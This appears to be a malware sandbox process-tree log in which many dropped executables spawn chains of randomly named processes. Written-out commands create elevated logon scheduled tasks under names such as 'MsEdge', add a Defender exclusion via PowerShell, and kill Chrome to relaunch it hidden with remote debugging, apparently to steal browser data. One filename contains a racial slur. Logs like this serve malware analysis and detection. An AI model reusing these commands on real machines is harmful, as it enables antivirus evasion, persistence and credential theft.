C:\Windows\SysWOW64\omsecor.exeC:\Windows\SysWOW64\omsecor.exe7⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe8⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe9⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11456 -s 4329⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11456 -s 4329⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10536 -s 4687⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 3005⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4220 -s 3003⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Restter.exe"C:\Users\Admin\AppData\Local\Temp\Restter.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"3⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"2⤵
-
\??\c:\3rlxrrr.exec:\3rlxrrr.exe3⤵
-
\??\c:\bnbbth.exec:\bnbbth.exe4⤵
-
\??\c:\djdvj.exec:\djdvj.exe5⤵
-
\??\c:\vvvpd.exec:\vvvpd.exe6⤵
-
\??\c:\vvdvv.exec:\vvdvv.exe7⤵
-
\??\c:\djjjv.exec:\djjjv.exe8⤵
-
\??\c:\vvvvp.exec:\vvvvp.exe9⤵
-
\??\c:\9xxxrrl.exec:\9xxxrrl.exe10⤵
-
\??\c:\nnbhtt.exec:\nnbhtt.exe11⤵
-
\??\c:\djvpj.exec:\djvpj.exe12⤵
-
\??\c:\bhttnh.exec:\bhttnh.exe13⤵
-
\??\c:\rllrrrl.exec:\rllrrrl.exe14⤵
-
\??\c:\rlxfxxx.exec:\rlxfxxx.exe15⤵
-
\??\c:\vvpjd.exec:\vvpjd.exe16⤵
-
\??\c:\bbtnbb.exec:\bbtnbb.exe17⤵
-
\??\c:\lrrrxfx.exec:\lrrrxfx.exe18⤵
-
\??\c:\rffxlfr.exec:\rffxlfr.exe19⤵
-
\??\c:\tnnnnn.exec:\tnnnnn.exe20⤵
-
\??\c:\lffxxff.exec:\lffxxff.exe21⤵
-
\??\c:\vvdvj.exec:\vvdvj.exe22⤵
-
\??\c:\dvdvv.exec:\dvdvv.exe23⤵
-
\??\c:\bttnhh.exec:\bttnhh.exe24⤵
-
\??\c:\nnnhbb.exec:\nnnhbb.exe25⤵
-
\??\c:\5thhbb.exec:\5thhbb.exe26⤵
-
\??\c:\1vvpj.exec:\1vvpj.exe27⤵
-
\??\c:\jddvv.exec:\jddvv.exe28⤵
-
\??\c:\vpdvd.exec:\vpdvd.exe29⤵
-
\??\c:\tbtbhn.exec:\tbtbhn.exe30⤵
-
\??\c:\pppjd.exec:\pppjd.exe31⤵
-
\??\c:\7hnttt.exec:\7hnttt.exe32⤵
-
\??\c:\bbbnnh.exec:\bbbnnh.exe33⤵
-
\??\c:\nhhbtt.exec:\nhhbtt.exe34⤵
-
\??\c:\hbtthn.exec:\hbtthn.exe35⤵
-
\??\c:\vvvvv.exec:\vvvvv.exe36⤵
-
\??\c:\ddddv.exec:\ddddv.exe37⤵
-
\??\c:\vdjpd.exec:\vdjpd.exe38⤵
-
\??\c:\ppdvj.exec:\ppdvj.exe39⤵
-
\??\c:\vvjdp.exec:\vvjdp.exe40⤵
-
\??\c:\5rlfffx.exec:\5rlfffx.exe41⤵
-
\??\c:\3ffxxxx.exec:\3ffxxxx.exe42⤵
-
\??\c:\3hbbtt.exec:\3hbbtt.exe43⤵
-
\??\c:\lllxllx.exec:\lllxllx.exe44⤵
-
\??\c:\vvdvp.exec:\vvdvp.exe45⤵
-
\??\c:\3btnhh.exec:\3btnhh.exe46⤵
-
\??\c:\lllffff.exec:\lllffff.exe47⤵
-
\??\c:\djdpd.exec:\djdpd.exe48⤵
-
\??\c:\rfxrllf.exec:\rfxrllf.exe49⤵
-
\??\c:\thnhtb.exec:\thnhtb.exe50⤵
-
\??\c:\pvjdv.exec:\pvjdv.exe51⤵
-
\??\c:\vvpjd.exec:\vvpjd.exe52⤵
-
\??\c:\flrfxrl.exec:\flrfxrl.exe53⤵
-
\??\c:\9ddvp.exec:\9ddvp.exe54⤵
-
\??\c:\rffxllf.exec:\rffxllf.exe55⤵
-
\??\c:\9rfxxxr.exec:\9rfxxxr.exe56⤵
-
\??\c:\lflfffr.exec:\lflfffr.exe57⤵
-
\??\c:\7djdd.exec:\7djdd.exe58⤵
-
\??\c:\3hhbnt.exec:\3hhbnt.exe59⤵
-
\??\c:\nnnnhh.exec:\nnnnhh.exe60⤵
-
\??\c:\dddvp.exec:\dddvp.exe61⤵
-
\??\c:\rxfxxxx.exec:\rxfxxxx.exe62⤵
-
\??\c:\ffffxxl.exec:\ffffxxl.exe63⤵
-
\??\c:\lfffrlx.exec:\lfffrlx.exe64⤵
-
\??\c:\pppjd.exec:\pppjd.exe65⤵
-
\??\c:\7ttnbh.exec:\7ttnbh.exe66⤵
-
\??\c:\dddvj.exec:\dddvj.exe67⤵
-
\??\c:\nnnhbb.exec:\nnnhbb.exe68⤵
-
\??\c:\ttnhhn.exec:\ttnhhn.exe69⤵
-
\??\c:\hhnbbt.exec:\hhnbbt.exe70⤵
-
\??\c:\pjjdv.exec:\pjjdv.exe71⤵
-
\??\c:\tnthtn.exec:\tnthtn.exe72⤵
-
\??\c:\lxxllll.exec:\lxxllll.exe73⤵
-
\??\c:\fflfrrl.exec:\fflfrrl.exe74⤵
-
\??\c:\ffflfxr.exec:\ffflfxr.exe75⤵
-
\??\c:\fxfxrll.exec:\fxfxrll.exe76⤵
-
\??\c:\nnnhbb.exec:\nnnhbb.exe77⤵
-
\??\c:\ppvpv.exec:\ppvpv.exe78⤵
-
\??\c:\lfxxxxl.exec:\lfxxxxl.exe79⤵
-
\??\c:\1rlfxxr.exec:\1rlfxxr.exe80⤵
-
\??\c:\ttthtt.exec:\ttthtt.exe81⤵
-
\??\c:\ppjdd.exec:\ppjdd.exe82⤵
-
\??\c:\hbhhtt.exec:\hbhhtt.exe83⤵
-
\??\c:\pjppv.exec:\pjppv.exe84⤵
-
\??\c:\bnnnnt.exec:\bnnnnt.exe85⤵
-
\??\c:\ffxrrll.exec:\ffxrrll.exe86⤵
-
\??\c:\7btnhh.exec:\7btnhh.exe87⤵
-
\??\c:\1ddjd.exec:\1ddjd.exe88⤵
-
\??\c:\9fllxxf.exec:\9fllxxf.exe89⤵
-
\??\c:\flllllr.exec:\flllllr.exe90⤵
-
\??\c:\llrrrlf.exec:\llrrrlf.exe91⤵
-
\??\c:\5pvpj.exec:\5pvpj.exe92⤵
-
\??\c:\ttbhhn.exec:\ttbhhn.exe93⤵
-
\??\c:\jjpjj.exec:\jjpjj.exe94⤵
-
\??\c:\1hhbnh.exec:\1hhbnh.exe95⤵
-
\??\c:\tbtnbt.exec:\tbtnbt.exe96⤵
-
\??\c:\flllxrl.exec:\flllxrl.exe97⤵
-
\??\c:\bbtnhh.exec:\bbtnhh.exe98⤵
-
\??\c:\llxflll.exec:\llxflll.exe99⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"2⤵
-
\??\c:\users\admin\appdata\local\temp\tuffnigga.exeÂc:\users\admin\appdata\local\temp\tuffnigga.exeÂ3⤵
-
-
C:\Windows\Resources\Themes\icsys.icn.exeC:\Windows\Resources\Themes\icsys.icn.exe3⤵
-
\??\c:\windows\resources\themes\explorer.exec:\windows\resources\themes\explorer.exe4⤵
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe SE5⤵
-
\??\c:\windows\resources\svchost.exec:\windows\resources\svchost.exe6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exeC:\Users\Admin\AppData\Local\Temp\Files\main1.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exeC:\Users\Admin\AppData\Local\Temp\Files\main1.exe5⤵
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8aa40dcf8,0x7ff8aa40dd04,0x7ff8aa40dd107⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2104,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --string-annotations --field-trial-handle=1788,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:117⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --string-annotations --field-trial-handle=2176,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:137⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2888,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2896,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3712,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:97⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --field-trial-handle=4216,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:147⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --field-trial-handle=4220,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:147⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --field-trial-handle=4228,i,11488203522216020188,6409649110362522607,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:147⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8aa40dcf8,0x7ff8aa40dd04,0x7ff8aa40dd107⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2312,i,1472716655136352758,8767826700820008837,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --string-annotations --field-trial-handle=1776,i,1472716655136352758,8767826700820008837,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:117⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --string-annotations --field-trial-handle=1868,i,1472716655136352758,8767826700820008837,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:137⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2932,i,1472716655136352758,8767826700820008837,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2964,i,1472716655136352758,8767826700820008837,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:17⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\6DISMH~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\6DISMH~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\6DISMH~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CLIENT~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CLIENT~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CLIENT~1.EXE4⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Microsoft" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\4.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\4.exeC:\Users\Admin\AppData\Local\Temp\Files\4.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exeC:\Users\Admin\AppData\Local\Temp\Files\random.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\EE3A7E~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\EE3A7E~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\EE3A7E~1.EXE4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Antieac.exe"C:\Users\Admin\AppData\Local\Temp\Antieac.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"2⤵
-
C:\Windows\SysWOW64\Megljppl.exeC:\Windows\system32\Megljppl.exe3⤵
-
C:\Windows\SysWOW64\Nndjndbh.exeC:\Windows\system32\Nndjndbh.exe4⤵
-
C:\Windows\SysWOW64\Neclenfo.exeC:\Windows\system32\Neclenfo.exe5⤵
-
C:\Windows\SysWOW64\Oelolmnd.exeC:\Windows\system32\Oelolmnd.exe6⤵
-
C:\Windows\SysWOW64\Pmcclm32.exeC:\Windows\system32\Pmcclm32.exe7⤵
-
C:\Windows\SysWOW64\Qklmpalf.exeC:\Windows\system32\Qklmpalf.exe8⤵
-
C:\Windows\SysWOW64\Aoalgn32.exeC:\Windows\system32\Aoalgn32.exe9⤵
-
C:\Windows\SysWOW64\Dhclmp32.exeC:\Windows\system32\Dhclmp32.exe10⤵
-
C:\Windows\SysWOW64\Ekmhejao.exeC:\Windows\system32\Ekmhejao.exe11⤵
-
C:\Windows\SysWOW64\Gldglf32.exeC:\Windows\system32\Gldglf32.exe12⤵
-
C:\Windows\SysWOW64\Gmimai32.exeC:\Windows\system32\Gmimai32.exe13⤵
-
C:\Windows\SysWOW64\Hlepcdoa.exeC:\Windows\system32\Hlepcdoa.exe14⤵
-
C:\Windows\SysWOW64\Iepaaico.exeC:\Windows\system32\Iepaaico.exe15⤵
-
C:\Windows\SysWOW64\Jgkmgk32.exeC:\Windows\system32\Jgkmgk32.exe16⤵
-
C:\Windows\SysWOW64\Kckqbj32.exeC:\Windows\system32\Kckqbj32.exe17⤵
-
C:\Windows\SysWOW64\Amjbbfgo.exeC:\Windows\system32\Amjbbfgo.exe18⤵
-
C:\Windows\SysWOW64\Chnlgjlb.exeC:\Windows\system32\Chnlgjlb.exe19⤵
-
C:\Windows\SysWOW64\Fofilp32.exeC:\Windows\system32\Fofilp32.exe20⤵
-
C:\Windows\SysWOW64\Ibegfglj.exeC:\Windows\system32\Ibegfglj.exe21⤵
-
C:\Windows\SysWOW64\Lhnhajba.exeC:\Windows\system32\Lhnhajba.exe22⤵
-
C:\Windows\SysWOW64\Aaiqcnhg.exeC:\Windows\system32\Aaiqcnhg.exe23⤵
-
C:\Windows\SysWOW64\Mkjjdmaj.exeC:\Windows\system32\Mkjjdmaj.exe24⤵
-
C:\Windows\SysWOW64\Fnnimbaj.exeC:\Windows\system32\Fnnimbaj.exe25⤵
-
C:\Windows\SysWOW64\Gmfkjl32.exeC:\Windows\system32\Gmfkjl32.exe26⤵
-
C:\Windows\SysWOW64\Hfhbipdb.exeC:\Windows\system32\Hfhbipdb.exe27⤵
-
C:\Windows\SysWOW64\Knmpbi32.exeC:\Windows\system32\Knmpbi32.exe28⤵
-
C:\Windows\SysWOW64\Loniiflo.exeC:\Windows\system32\Loniiflo.exe29⤵
-
C:\Windows\SysWOW64\Naokbokn.exeC:\Windows\system32\Naokbokn.exe30⤵
-
C:\Windows\SysWOW64\Pndhhnda.exeC:\Windows\system32\Pndhhnda.exe31⤵
-
C:\Windows\SysWOW64\Agobna32.exeC:\Windows\system32\Agobna32.exe32⤵
-
C:\Windows\SysWOW64\Bflagg32.exeC:\Windows\system32\Bflagg32.exe33⤵
-
C:\Windows\SysWOW64\Cbihmg32.exeC:\Windows\system32\Cbihmg32.exe34⤵
-
C:\Windows\SysWOW64\Dpkehi32.exeC:\Windows\system32\Dpkehi32.exe35⤵
-
C:\Windows\SysWOW64\Eoekde32.exeC:\Windows\system32\Eoekde32.exe36⤵
-
C:\Windows\SysWOW64\Foakpc32.exeC:\Windows\system32\Foakpc32.exe37⤵
-
C:\Windows\SysWOW64\Gpgnjebd.exeC:\Windows\system32\Gpgnjebd.exe38⤵
-
C:\Windows\SysWOW64\Gchflq32.exeC:\Windows\system32\Gchflq32.exe39⤵
-
C:\Windows\SysWOW64\Gcmpgpkp.exeC:\Windows\system32\Gcmpgpkp.exe40⤵
-
C:\Windows\SysWOW64\Hfbbdj32.exeC:\Windows\system32\Hfbbdj32.exe41⤵
-
C:\Windows\SysWOW64\Jfehpg32.exeC:\Windows\system32\Jfehpg32.exe42⤵
-
C:\Windows\SysWOW64\Kppbejka.exeC:\Windows\system32\Kppbejka.exe43⤵
-
C:\Windows\SysWOW64\Malnklgg.exeC:\Windows\system32\Malnklgg.exe44⤵
-
C:\Windows\SysWOW64\Nkboeobh.exeC:\Windows\system32\Nkboeobh.exe45⤵
-
C:\Windows\SysWOW64\Oileakbj.exeC:\Windows\system32\Oileakbj.exe46⤵
-
C:\Windows\SysWOW64\Pgkegn32.exeC:\Windows\system32\Pgkegn32.exe47⤵
-
C:\Windows\SysWOW64\Aqpika32.exeC:\Windows\system32\Aqpika32.exe48⤵
-
C:\Windows\SysWOW64\Ababkdij.exeC:\Windows\system32\Ababkdij.exe49⤵
-
C:\Windows\SysWOW64\Bkamdi32.exeC:\Windows\system32\Bkamdi32.exe50⤵
-
C:\Windows\SysWOW64\Cnmebblf.exeC:\Windows\system32\Cnmebblf.exe51⤵
-
C:\Windows\SysWOW64\Djpfbahm.exeC:\Windows\system32\Djpfbahm.exe52⤵
-
C:\Windows\SysWOW64\Flmonbbp.exeC:\Windows\system32\Flmonbbp.exe53⤵
-
C:\Windows\SysWOW64\Faopah32.exeC:\Windows\system32\Faopah32.exe54⤵
-
C:\Windows\SysWOW64\Glinjqhb.exeC:\Windows\system32\Glinjqhb.exe55⤵
-
C:\Windows\SysWOW64\Glngep32.exeC:\Windows\system32\Glngep32.exe56⤵
-
C:\Windows\SysWOW64\Hifaic32.exeC:\Windows\system32\Hifaic32.exe57⤵
-
C:\Windows\SysWOW64\Hipdpbgf.exeC:\Windows\system32\Hipdpbgf.exe58⤵
-
C:\Windows\SysWOW64\Ilcjgm32.exeC:\Windows\system32\Ilcjgm32.exe59⤵
-
C:\Windows\SysWOW64\Icakofel.exeC:\Windows\system32\Icakofel.exe60⤵
-
C:\Windows\SysWOW64\Jjbjlpga.exeC:\Windows\system32\Jjbjlpga.exe61⤵
-
C:\Windows\SysWOW64\Mihikgod.exeC:\Windows\system32\Mihikgod.exe62⤵
-
C:\Windows\SysWOW64\Npgjbabk.exeC:\Windows\system32\Npgjbabk.exe63⤵
-
C:\Windows\SysWOW64\Nbmmoklg.exeC:\Windows\system32\Nbmmoklg.exe64⤵
-
C:\Windows\SysWOW64\Odqbdnod.exeC:\Windows\system32\Odqbdnod.exe65⤵
-
C:\Windows\SysWOW64\Okodlgbl.exeC:\Windows\system32\Okodlgbl.exe66⤵
-
C:\Windows\SysWOW64\Pkigbfja.exeC:\Windows\system32\Pkigbfja.exe67⤵
-
C:\Windows\SysWOW64\Admkgifd.exeC:\Windows\system32\Admkgifd.exe68⤵
-
C:\Windows\SysWOW64\Dmknog32.exeC:\Windows\system32\Dmknog32.exe69⤵
-
C:\Windows\SysWOW64\Panhmi32.exeC:\Windows\system32\Panhmi32.exe70⤵
-
C:\Windows\SysWOW64\Cbofdg32.exeC:\Windows\system32\Cbofdg32.exe71⤵
-
C:\Windows\SysWOW64\Eokjke32.exeC:\Windows\system32\Eokjke32.exe72⤵
-
C:\Windows\SysWOW64\Fqjolfda.exeC:\Windows\system32\Fqjolfda.exe73⤵
-
C:\Windows\SysWOW64\Gqdbbelf.exeC:\Windows\system32\Gqdbbelf.exe74⤵
-
C:\Windows\SysWOW64\Ipihkobl.exeC:\Windows\system32\Ipihkobl.exe75⤵
-
